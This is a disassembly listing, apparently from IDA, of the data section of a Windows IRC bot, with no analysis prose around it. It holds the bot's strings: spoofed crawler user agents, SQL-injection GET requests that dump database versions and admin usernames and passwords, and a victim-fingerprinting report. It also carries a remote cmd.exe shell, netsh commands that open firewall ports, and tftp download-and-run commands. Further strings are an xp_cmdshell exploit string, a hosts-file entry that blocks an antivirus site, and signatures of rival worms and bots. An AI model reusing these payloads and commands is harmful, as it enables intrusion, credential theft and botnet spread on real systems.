		dd offset aMozilla4_0Co_6 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_7 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_8 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_9 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0C_10 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Comp ; "Mozilla/5.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_0 ; "Mozilla/5.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_1 ; "Mozilla/5.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_2 ; "Mozilla/5.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_3 ; "Mozilla/5.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_4 ; "Mozilla/5.0 compatible ZyBorg/1.0 (wn.z"...
		dd offset aMozilla4_75En ; "Mozilla/4.75 [en]"
		dd offset aMozilla5_0Slur ; "Mozilla/5.0 (Slurp/cat; slurp@inktomi.c"...
		dd offset aMozilla5_0Sl_0 ; "Mozilla/5.0 (Slurp/si; slurp@inktomi.co"...
		dd offset aMozilla5_0Wind ; "Mozilla/5.0 (Windows; U; Windows NT 5.0"...
		dd offset aMozilla5_0Wi_0 ; "Mozilla/5.0 (Windows; U; Windows NT 5.0"...
		dd offset aMozilla5_0Wi_1 ; "Mozilla/5.0 (Windows; U; Windows NT 5.2"...
		dd offset aMozilla5_0X11U ; "Mozilla/5.0 (X11; U; FreeBSD i386;	en-U"...
		dd offset aScooter3_2	; "Scooter/3.2"
		dd offset aWget1_8	; "Wget/1.8"
		dd offset aMozilla5_0X1_0 ; "Mozilla/5.0 (X11; U; openSuSe i686; SMP"...
		dd offset aWget2_0	; "Wget/2.0"
		dd offset aMozilla5_0X1_1 ; "Mozilla/5.0 (X11; U; Ubuntu i386; en-US"...
		dd offset aWget21	; "Wget/2,1"
		dd offset aMozilla5_0X1_2 ; "Mozilla/5.0 (X11; U; Ubuntu i386; en-US"...
		dd offset dword_446404
		dd 0
dword_446404	dd 73797870h, 392E312Fh, 342EhaMozilla5_0X1_2	db 'Mozilla/5.0 (X11; U; Ubuntu i386; en-US; rv:1.7.5) Gecko/20080112'
					; DATA XREF: .text:004463F8o
		db 0
		align 4
aWget21		db 'Wget/2,1',0         ; DATA XREF: .text:004463F4o
		align 10h
aMozilla5_0X1_1	db 'Mozilla/5.0 (X11; U; Ubuntu i386; en-US; rv:1.7) Gecko/20060502',0
					; DATA XREF: .text:004463F0o
aWget2_0	db 'Wget/2.0',0         ; DATA XREF: .text:004463ECo
		align 10h
aMozilla5_0X1_0	db 'Mozilla/5.0 (X11; U; openSuSe i686; SMP; en-US; rv:1.7) Gecko/200'
					; DATA XREF: .text:004463E8o
		db '51223',0
		align 4
aWget1_8	db 'Wget/1.8',0         ; DATA XREF: .text:004463E4o
		align 4
aScooter3_2	db 'Scooter/3.2',0      ; DATA XREF: .text:004463E0o
aMozilla5_0X11U	db 'Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031021',0
					; DATA XREF: .text:004463DCo
		align 8
aMozilla5_0Wi_1	db 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.5a) Gecko/20'
					; DATA XREF: .text:004463D8o
		db '030728 Mozilla Firebird/0.7',0
		align 4
aMozilla5_0Wi_0	db 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20'
					; DATA XREF: .text:004463D4o
		db '020718',0
aMozilla5_0Wind	db 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/200'
					; DATA XREF: .text:004463D0o
		db '31007',0
		align 4
aMozilla5_0Sl_0	db 'Mozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/'
					; DATA XREF: .text:004463CCo
		db 'slurp.html)',0
		align 4
aMozilla5_0Slur	db 'Mozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com'
					; DATA XREF: .text:004463C8o
		db '/slurp.html)',0
		align 4
aMozilla4_75En	db 'Mozilla/4.75 [en]',0 ; DATA XREF: .text:004463C4o
		align 10h
aMozilla5_0Co_4	db 'Mozilla/5.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http:'
					; DATA XREF: .text:004463C0o
		db '//www.WISEnutbot.com)',0
		align 4
aMozilla5_0Co_3	db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)',0
					; DATA XREF: .text:004463BCo
		align 8
aMozilla5_0Co_2	db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; ODI3 Navigator'
					; DATA XREF: .text:004463B8o
		db ')',0
		align 10h
aMozilla5_0Co_1	db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0'
					; DATA XREF: .text:004463B4o
		db ')',0
		align 8
aMozilla5_0Co_0	db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts'
					; DATA XREF: .text:004463B0o
		db '-MyWay; (R1 1.3); .NET CLR 1.1.4322)',0
		align 10h
aMozilla5_0Comp	db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt+ .NET C'
					; DATA XREF: .text:004463ACo
		db 'LR)',0
		align 4
aMozilla4_0C_10	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser;'
					; DATA XREF: .text:004463A8o
		db ' .NET CLR 1.1.4322)',0
		align 10h
aMozilla4_0Co_9	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4'
					; DATA XREF: .text:004463A4o
		db '322; .NET CLR 1.0.3705)',0
		align 10h
aMozilla4_0Co_8	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4'
					; DATA XREF: .text:004463A0o
		db '322)',0
		align 4
aMozilla4_0Co_7	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0
					; DATA XREF: .text:0044639Co
		align 10h
aMozilla4_0Co_6	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3'
					; DATA XREF: .text:00446398o
		db '705; .NET CLR 1.1.4322)',0
		align 4
aMozilla4_0Co_5	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)',0
					; DATA XREF: .text:00446394o
		align 10h
aMozilla4_0Co_4	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows ME; Win 9x 4.90; H0108'
					; DATA XREF: .text:00446390o
		db '18; AT&T CSM6.0)',0
		align 4
aMozilla4_0Co_3	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows  NT 5.1; Q312461)',0
					; DATA XREF: .text:0044638Co
		align 4
aMozilla4_0Co_2	db 'Mozilla/4.0 (compatible; MSIE 5.5; Windows ME)',0
					; DATA XREF: .text:00446388o
		align 4
aGooglebot1_9_1	db 'Googlebot/1.9.1 (http://www.google.com/tools/bot.php)',0
					; DATA XREF: .text:00446384o
		align 4
aMozilla4_0Co_1	db 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)',0
					; DATA XREF: .text:00446380o
		align 4
aGooglebot1_9Ht	db 'Googlebot/1.9 (http://www.google.com/tools/bot.php)',0
					; DATA XREF: .text:0044637Co
aMozilla4_0Co_0	db 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)',0
					; DATA XREF: .text:00446378o
aGooglebot2_1_0	db 'Googlebot/2.1 (http://www.google.com/bot.php)',0
					; DATA XREF: .text:00446374o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)',0
					; DATA XREF: .text:00446370o
aGooglebot2_0_0	db 'Googlebot/2.0 (http://www.google.com/bot.php)',0
					; DATA XREF: .text:0044636Co
		align 4
aMicrosoftWebda	db 'Microsoft-WebDAV-MiniRedir/5.1.2600',0 ; DATA XREF: .text:00446368o
aGooglebot2_1Ht	db 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',0
					; DATA XREF: .text:00446364o
		align 10h
aLynx2_8_4rel_1	db 'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.6',0
					; DATA XREF: .text:00446360o
		align 4
aGooglebot2_0Ht	db 'Googlebot/2.0 (+http://www.googlebot.com/bot.html)',0
					; DATA XREF: .text:0044635Co
		align 10h
aFastWebcrawler	db 'FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/s'
					; DATA XREF: .text:off_446358o
		db 'upport/crawler.asp)',0
		align 4
aD_0		db '%d',0               ; DATA XREF: sub_41BE01+20Eo
		align 4
asc_446DEC	db 0Dh,0Ah		; DATA XREF: sub_419B11+BBo
		db 0Dh,0Ah,0
		align 4
a@_6:					; DATA XREF: sub_419C4E+CFo
					; sub_419C4E+147o ...
		unicode	0, <@>,0
asc_446DF8:				; DATA XREF: sub_419C4E:loc_419CD4o
					; sub_4246F0+48o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_419C4E+72o
					; sub_419C4E:loc_419E07o ...
aHttp		db 'http',0             ; DATA XREF: sub_419C4E+62o
					; sub_419C4E+1A2o ...
		align 4
asc_446E08:				; DATA XREF: sub_419C4E+34o
					; sub_423C7A+3D5o ...
		unicode	0, <:>,0
aSSSU		db '%s %s -> %s:%u',0   ; DATA XREF: .text:0041B0D3o
		align 4
aIframe		db 'iframe',0           ; DATA XREF: .text:0041AD8Eo
		align 4
aFrame		db 'frame',0            ; DATA XREF: .text:loc_41AD7Ao
		align 4
aEmbed		db 'embed',0            ; DATA XREF: .text:loc_41AADCo
		align 4
off_446E34	dd offset byte_637273	; DATA XREF: .text:0041A8F4o
					; .text:0041AB92o ...
off_446E38	dd offset byte_676D69	; DATA XREF: .text:loc_41A83Eo
		align 10h
aGetS1UnionSe_1	db 'GET %s=-1+union+select+1,2,concat_ws(char(58),version(),user(),no'
					; DATA XREF: .text:0041A7E5o
		db 'w()) HTTP/1.1',0Dh,0Ah
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
		db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
		db 'msword, */*',0Dh,0Ah
		db 'Accept-Language: en-us,en',0Dh,0Ah
		db 'User-Agent: %s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'Referer: %s',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
aGetS1UnionSe_0	db 'GET %s=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+fr'
					; DATA XREF: .text:0041A78Eo
		db 'om+admin HTTP/1.1',0Dh,0Ah
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
		db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
		db 'msword, */*',0Dh,0Ah
		db 'Accept-Language: en-us,en',0Dh,0Ah
		db 'User-Agent: %s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'Referer: %s',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aGetS1UnionSele	db 'GET %s=-1+union+select+database(),version(),system_user(),session'
					; DATA XREF: .text:0041A737o
		db '_user(),current_user(),last_insert_id(),3,4,5,6,user()/* HTTP/1.1'
		db 0Dh,0Ah
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
		db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
		db 'msword, */*',0Dh,0Ah
		db 'Accept-Language: en-us,en',0Dh,0Ah
		db 'User-Agent: %s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'Referer: %s',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttpSDSS	db 'http://%s:%d%s%s',0 ; DATA XREF: .text:0041A652o
					; .text:0041A9F5o ...
		align 4
aHttp_0		db 'http://',0          ; DATA XREF: .text:loc_41A600o
					; .text:loc_41A9A3o ...
aHttpSDS	db 'http://%s:%d%s',0   ; DATA XREF: .text:0041A5F0o
					; .text:0041A993o ...
		align 4
aHref		db 'href',0             ; DATA XREF: .text:0041A551o
		align 4
aRefresh	db '"Refresh"',0        ; DATA XREF: .text:0041A305o
		align 4
aMeta		db 'meta',0             ; DATA XREF: .text:0041A2E9o
		align 10h
aGetSHttp1_1Acc	db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: .text:0041A225o
					; .text:0041A450o ...
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
		db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
		db 'msword, */*',0Dh,0Ah
		db 'Accept-Language: en-us,en',0Dh,0Ah
		db 'User-Agent: %s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'Referer: %s',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHostSD		db 'Host: %s:%d',0      ; DATA XREF: .text:0041A1F5o
					; .text:0041A423o ...
aHostS		db 'Host: %s',0         ; DATA XREF: .text:0041A1D6o
					; .text:0041A407o ...
		align 4
asc_44736C:				; DATA XREF: .text:0041A18Do
					; sub_424EAB+170o
		unicode	0, <=>,0
aFailedToParse_	db 'Failed to parse.',0 ; DATA XREF: .text:0041A102o
		align 4
off_447384	dd offset off_4374BC	; DATA XREF: .text:004380C4o
					; .text:00438414o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_44739C	dd offset off_4374BC	; DATA XREF: .text:off_437F68o
					; .text:00437FFCo ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_4473BC	dd offset off_4374BC	; DATA XREF: .text:off_438008o
					; .text:0043804Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_41B1F5+1Eo
dword_4473F8	dd 6E6B6E55h						; sub_42015A+2Er
dword_4473FC	dd 6E776Fh						; sub_42015A+3Er
off_447400	dd offset byte_5C3A41	; DATA XREF: sub_41BE01:loc_41C080o
aSEndOfList_	db '%s End of list.',0  ; DATA XREF: sub_423719+BCo
aDDayS0_2d0_2d0	db '%d day%s %0.2d:%0.2d:%0.2d',0 ; DATA XREF: sub_41B9F8+F2o
		align 10h
aS_2:					; DATA XREF: sub_41B9F8+E8o
					; sub_41BB89+65o ...
		unicode	0, <s>,0
a0_2d0_2d0_2d	db '%0.2d:%0.2d:%0.2d',0 ; DATA XREF: sub_41B9F8+CEo
		align 4
aDDayS0_2d0_2d	db '%d day%s %0.2d:%0.2d',0 ; DATA XREF: sub_41BB89+6Eo
		align 10h
aSD_1		db '%s <%d>',0          ; DATA XREF: sub_41BB89+28o
aSCpuI64umhzRam	db '%s (CPU): %I64uMHz, (RAM): %sMB total, %sMB free, (OS): Windows %'
					; DATA XREF: sub_41BE01+35Ao
		db 's (%d.%d - %d). (SysDir): %s. (Computer Name): %s, (Current User)'
		db ': %s, (Date): %s, (Time): %s, (UpTime): %s, (FreeSpace): %I64uGB/'
		db '%I64uGB.',0
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_41BE01+1C5o
		align 10h
aDddMmmDdYyyy	db 'ddd, MMM dd, yyyy',0 ; DATA XREF: sub_41BE01+1A9o
		align 4
aSS_3		db '%s (%s)',0          ; DATA XREF: sub_41BE01+14Ao
a2k8		db '2K8',0              ; DATA XREF: sub_41BE01:loc_41BF11o
					; sub_41D318:loc_41D428o ...
aVista_0	db 'Vista',0            ; DATA XREF: sub_41BE01+107o
					; sub_41D318+109o ...
		align 4
a2k3_0		db '2K3',0              ; DATA XREF: sub_41BE01+E7o
					; sub_41D318+EAo ...
aXp		db 'XP',0               ; DATA XREF: sub_41BE01+D5o
					; sub_41D318+DAo ...
		align 10h
a2k		db '2K',0               ; DATA XREF: sub_41BE01+C3o
					; sub_41D318+CAo ...
		align 4
aMe_0		db 'ME',0               ; DATA XREF: sub_41BE01+A9o
					; sub_41D318+B1o ...
		align 4
aNt_0		db 'NT',0               ; DATA XREF: sub_41BE01+7Bo
					; sub_41D318+8Eo ...
		align 4
aD_D		db '%d.%d',0            ; DATA XREF: sub_41BE01+3Bo
					; sub_41D318+51o ...
		align 4
a???		db '???',0              ; DATA XREF: sub_41BE01+16o
					; sub_42015A+4Ao
aBandwidthDownl	db '(Bandwidth): Downloaded: %s, Uploaded: %s.',0
					; DATA XREF: sub_41C238+18Bo
		align 8
aSConnectionSSI	db '%s (Connection): %s (%s), (IntIP): %s, (ExtIP): %s, (HostName): %'
					; DATA XREF: sub_41C238+16Bo
		db 's, (Private): %s ',0
		align 4
aNo		db 'No',0               ; DATA XREF: sub_41C238+145o
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_41C238+13Eo
aSkb		db '%sKB',0             ; DATA XREF: sub_41C238+108o
		align 4
aSgb		db '%sGB',0             ; DATA XREF: sub_41C238+EAo
		align 4
aSmb		db '%sMB',0             ; DATA XREF: sub_41C238+C7o
		align 4
off_44762C	dd offset loc_412F4D+1	; DATA XREF: sub_41C238:loc_41C2B0o
off_447630	dd offset dword_4E414C	; DATA XREF: sub_41C238:loc_41C2A9o
dword_447634	dd 6C616944h, 412F7075h, 4C5344hdword_447640	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64haPingTimeout?DD	db 'Ping Timeout? (%d-%d)%d/%d',0 ; DATA XREF: .text:0041C4C7o
		align 4
aSLoginListComp	db '%s Login List complete.',0 ; DATA XREF: sub_41C7C5+69o
aIEmpty		db '<%i> <Empty>',0     ; DATA XREF: sub_41C7C5+46o
		align 4
aISS@S		db '<%i> %s!%s@%s',0    ; DATA XREF: sub_41C7C5+34o
		align 4
aSLoginList	db '%s Login List:',0   ; DATA XREF: sub_41C7C5+Fo
		align 4
aSS0S		db '%s %s * 0 :%s',0Dh,0Ah,0 ; DATA XREF: sub_41C8B1+1B1o
aSS		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_41C8B1+168o
					; sub_41CAB4+41o ...
a___		db '...',0              ; DATA XREF: sub_41CA82+9o
					; sub_4330A0+BFo
asc_4476D0	db 0Dh,0Ah,0		; DATA XREF: sub_41CB8C+Ao
					; sub_425E18+FDo
		align 4
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_41CDD4+54o
					; sub_41CE4A+54o ...
dword_4476E0	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 1732520h
					; DATA XREF: sub_41CEC0+43o
		dd 0A0Dh
dword_4476F8	dd 25207325h, 73252073h, 0A0Dh					; sub_41D110+1Fo
dword_447704	dd 25207325h, 73252073h, 0D732520h, 0Ahdword_447714	dd 7C7325h	off_447718	dd offset byte_4E4957	; DATA XREF: sub_41D318+19o
					; sub_41D475+15o ...
dword_44771C	dd 257C7325h, 63257C73h, 63256325h, 0dword_44772C	dd 6925h						; sub_41FE3F+1C6o
dword_447730	dd 7Ch							; sub_41D5EF:loc_41D694o ...
aCCCCCCCCC	db '%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D6A6:loc_41D7BDo
					; sub_41D917+E9o
		align 4
aDCCCCCCCCC	db '|%d|%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D6A6+107o
		align 10h
aSCCCCCCCCC	db '%s%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D7D2:loc_41D8FAo
		align 4
aDSCCCCCCCCC	db '|%d|%s%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_41D7D2+118o
		align 4
a_2d		db '%.2d',0             ; DATA XREF: sub_41DA15+86o
		align 4
aP:					; DATA XREF: sub_41DA15+6Fo
					; .text:0044F3A8o
		unicode	0, <P>,0
aM:					; DATA XREF: sub_41DA15+51o
					; .text:0044F3E8o ...
		unicode	0, <M>,0
aP_0		db 'P|',0               ; DATA XREF: sub_41DAC6+59o
		align 4
aM_0		db 'M|',0               ; DATA XREF: sub_41DAC6+3Fo
		align 4
aSSS_2		db '%s %s -> %s',0      ; DATA XREF: sub_41DB6B+139o
					; sub_41DD09+109o ...
aCouldnTResolve	db 'Couldn',27h,'t resolve',0 ; DATA XREF: sub_41E446:loc_41E4ABo
		align 4
a90		db '90',0               ; DATA XREF: sub_41E4C1:loc_41E571o
		align 10h
a168		db '168',0              ; DATA XREF: sub_41E4C1+A2o
a192		db '192',0              ; DATA XREF: sub_41E4C1:loc_41E557o
a16		db '16',0               ; DATA XREF: sub_41E4C1+88o
		align 4
a172		db '172',0              ; DATA XREF: sub_41E4C1+7Co
a10		db '10',0               ; DATA XREF: sub_41E4C1+70o
		align 4
aProccessHasTer	db 'Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_41E661+117o
		align 10h
aCouldNotReadDa	db 'Could not read data from proccess.',0Dh,0Ah,0
					; DATA XREF: sub_41E661:loc_41E74Fo
					; sub_41E661:loc_41E79Bo
		align 4
aSFailedToStart	db '%s Failed to start IO thread, error: <%d>.',0
					; DATA XREF: sub_41E7BE+19Co
		align 4
aSCmdPrompt	db '%s CMD Prompt',0    ; DATA XREF: sub_41E7BE+151o
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_41E7BE+2Co
					; sub_42B0E9+86o ...
		align 10h
aSystemCurren_5	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: sub_41E96F+91o
		db 'lPolicy\DomainProfile\AuthorizedApplications\List',0
		align 8
aSystemCurren_4	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: sub_41E96F+55o
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
		align 10h
aEnabled	db ':*:Enabled:',0      ; DATA XREF: sub_41E96F+25o
aFirewallSetAll	db 'firewall set allowedprogram "%s" workstation ENABLE ALL',0
					; DATA XREF: sub_41EA30+138o
aFirewallAddAll	db 'firewall add allowedprogram "%s" workstation ENABLE ALL',0
					; DATA XREF: sub_41EA30+10Ao
aFirewallSetP_4	db 'firewall set portopening TCP 9991 PORT2',0 ; DATA XREF: sub_41EA30+C4o
aFirewallSetP_3	db 'firewall set portopening TCP 9999 PORT1',0 ; DATA XREF: sub_41EA30+9Bo
aFirewallSetP_2	db 'firewall set portopening TCP 1013 BS',0 ; DATA XREF: sub_41EA30+72o
		align 4
aFirewallSetP_1	db 'firewall set portopening TCP 139 NB',0 ; DATA XREF: sub_41EA30+49o
aNetsh		db 'netsh',0            ; DATA XREF: sub_41EA30+39o
					; sub_41EB9C+33o
		align 10h
aFirewallSetP_0	db 'firewall set portopening TCP 445 NB',0 ; DATA XREF: sub_41EA30+Eo
aFirewallSetPor	db 'firewall set portopening TCP %d FD',0 ; DATA XREF: sub_41EB9C+15o
		align 4
aClosedI	db 'closed %i',0Ah,0    ; DATA XREF: sub_41EC9D+159o
		align 4
aCloseError	db 'close error',0Ah,0  ; DATA XREF: sub_41EC9D+147o
		align 8
		dd offset aRxIrc	; "Rx IRC"
off_447AEC	dd offset aIrc_0	; DATA XREF: sub_41EE89+95r
					; sub_41EE89+A3o
					; "[IRC]: "
		dd offset aRxIrc_c	; "Rx IRC.c"
		dd offset aIrc		; "IRC//"
		dd offset aPiabot	; "PiABot"
		dd offset dword_44D9D8
		dd offset dword_44D9CC
		dd offset dword_44D9C0
		dd offset dword_44D9B8
		dd offset dword_44D9AC
		dd offset dword_44D9A0
		dd offset dword_44D990
		dd offset dword_44D984
		dd offset dword_44D97C
		dd offset dword_44D96C
		dd offset dword_44D964
		dd offset dword_44D954
		dd offset dword_44D94C
		dd offset dword_44D940
		dd offset dword_44D934
		dd offset dword_44D928
		dd offset dword_44D91C
		dd offset dword_44D910
		dd offset dword_44D900
		dd offset dword_44D8F0
		dd offset dword_44D8E0
		dd offset aRxnzm	; "RxNZM"
		dd offset dword_44D8BC
		dd offset aRxnzm_b	; "RxNZM.b"
		dd offset a_n_z_m_Irc_p_l ; ".n.z.m. (irc.p.l.g) .»». "
		dd offset dword_44D890
		dd offset dword_44D870
		dd offset dword_44D864
		dd offset dword_44D858
		dd offset dword_44D848
		dd offset dword_44D83C
		dd offset dword_44D830
		dd offset dword_44D824
		dd offset dword_44D814
		dd offset dword_44D808
		dd offset dword_44D800
		dd offset dword_44D7F4
		dd offset dword_44D7EC
		dd offset loc_44D7E0
		dd offset dword_44D7D8
		dd offset loc_44D7CC
		dd offset dword_44D7C4
		dd offset dword_44D7BC
		dd offset dword_44D7B4
		dd offset loc_44D7A8
		dd offset aRepFtpd	; "Rep FTPd"
		dd offset aReptileWelcome ; "Reptile welcomes you..."
		dd offset aRep08Ftpd	; "Rep08 FTPd"
		dd offset a220ReptileWelc ; "220 Reptile welcomes you..\r\n"
		dd offset aRep08Main	; "Rep08 Main"
		dd offset aMain_0	; "-MAiN-"
		dd offset aStnyftpd	; "StnyFtpd"
		dd offset aStnyftpd0wnsJ0 ; "StnyFtpd 0wns j00"
		dd offset aAgobot	; "AgoBot"
		dd offset a220WelcomeToBo ; "220 \"Welcome to Bot FTP service.\"\r\n"
		dd offset aPhatbot	; "PhatBot"
		dd offset a220BotServerWi ; "220 Bot Server (Win32)\r\n"
		dd offset aTftpget_a	; "TFTPGet.a"
		dd offset aTftpISGetSS	; "tftp	-i %s get %s &%s\n"
		dd offset aRxTftp	; "Rx TFTP"
		dd offset aTftp		; "[TFTP]"
		dd offset aTftpget_b	; "TFTPGet.b"
		dd offset aCmdCTftpISGetS ; "cmd /c tftp -i %s GET %s &start %s	&exi"...
		dd offset dword_44D65C
		dd offset loc_44D650
		dd offset dword_44D648
		dd offset dword_44D63C
		dd offset dword_44D62C
		dd offset dword_44D620
		dd offset dword_44D618
		dd offset dword_44D60C
		dd offset dword_44D604
		dd offset loc_44D5F8
		dd offset aC101		; "C101"
		dd offset dword_44D5E4
		dd offset off_44D5E0
		dd offset a3GsUT	; "3Ƀé°ÙîÙt"
		dd offset aNetapi4444bind ; "Netapi4444Bind"
		dd offset dword_44D5B8
		dd offset off_44D5B4
		dd offset dword_44D5A8
		dd offset aRbot_psniff	; "rbot.psniff"
		dd offset aPsniffThread	; "psniff thread"
		dd offset aQ8		; "Q8"
		dd offset aWeBackLooooooo ; "We	BaCk LoooooooooooOOOOOOOOOOOOOooo"
		dd offset dword_44D550
		dd offset dword_44D540
		dd offset dword_44D530
		dd offset dword_44D520
		dd offset aLinkbot_dcom_b ; "Linkbot.dcom.b"
		dd offset aDcom2_c	; "dcom2.c:"
		dd offset aLinkbot_dcom_c ; "Linkbot.dcom.c"
		dd offset aDcom2	; "dcom2:"
		dd offset aLinkbot_rpc	; "Linkbot.RPC"
		dd offset aRpc_c	; "RPC.c:"
		dd offset aLinkbot_shellc ; "Linkbot.Shellcode"
		dd offset dword_44D4B0
		dd offset aOtherbot_a	; "Otherbot.a"
		dd offset aScan_start	; "scan.start"
		dd offset aOtherbot_b	; "Otherbot.b"
		dd offset aRoot_start	; "root.start"
		dd offset aIroffer_a	; "Iroffer.a"
		dd offset aHttpIroffer_or ; "http://iroffer.org/"
		dd offset aIroffer_b	; "Iroffer.b"
		dd offset aTotalOffered1_ ; "Total Offered: %1.1f MB  Total Transfer"...
		dd offset aIrofferAll	; "Iroffer-All"
		dd offset aSendingYouPack ; "**	Sending	you pack #%i (\"%s\"), which i"...
		dd offset dword_44D3C0
		dd offset dword_44D3B8
		dd offset aMydoom_b	; "MyDoom.B"
		dd offset aFbsgjnerZvpebf ; "Fbsgjner\\Zvpebfbsg\\JNO\\JNO4\\Jno Svyr An"...
		dd offset aMydoom_c	; "MyDoom.C"
		dd offset aFbsgjnerZvpe_0 ; "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefv"...
		dd offset aBlaster	; "Blaster"
		dd offset dword_44D31C
		dd offset aZotobForbotMod ; "Zotob/ForBot Mods"
		dd offset aAddexExinfo	; "AddEx(exinfo)"
		dd offset aWelchia_a	; "Welchia.a"
		dd offset aRpcpatch_mutex ; "RpcPatch_Mutex"
		dd offset dword_44D2D0
		dd offset dword_44D31C
		dd offset dword_44D2C4
		dd offset dword_44D2B0
		dd offset aChangehosts	; "ChangeHosts"
		dd offset a127_0_0_1Www_s ; "\n127.0.0.1\twww.symantec.com\n"
		dd offset dword_44D274
		dd offset dword_44D268
		dd offset dword_44D260
		dd offset dword_44D24C
		dd offset aPnp_b	; "PNP.b"
		dd offset a8d9f4e40A03d11 ; "8d9f4e40-a03d-11ce-8f69-08003e30051b"
		dd offset aMssql_a	; "MSSQL.A"
		dd offset aThcthcthcthcth ; "THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"...
		dd offset aMssql_b	; "MSSQL.B"
		dd offset aExecMaster__xp ; "EXEC master..xp_cmdshell"
		dd offset aWebdav	; "WebDav"
		dd offset loc_44D1A8
		dd offset aRxMain	; "Rx Main"
		dd offset aMain		; "[MAIN]: "
		dd offset aIis5ssl	; "IIS5SSL"
		dd offset byte_44D17C
		dd offset aVncscan	; "VNCScan"
		dd offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe"
		dd offset aNetdevil	; "NetDevil"
		dd offset aPleaz_runS	; "pleaz_run%s"
		dd offset aOptix	; "Optix"
		dd offset a022moptestmv1_ ; "022¬OPtest¬v1.1\r\n"
		dd offset loc_44D113+5
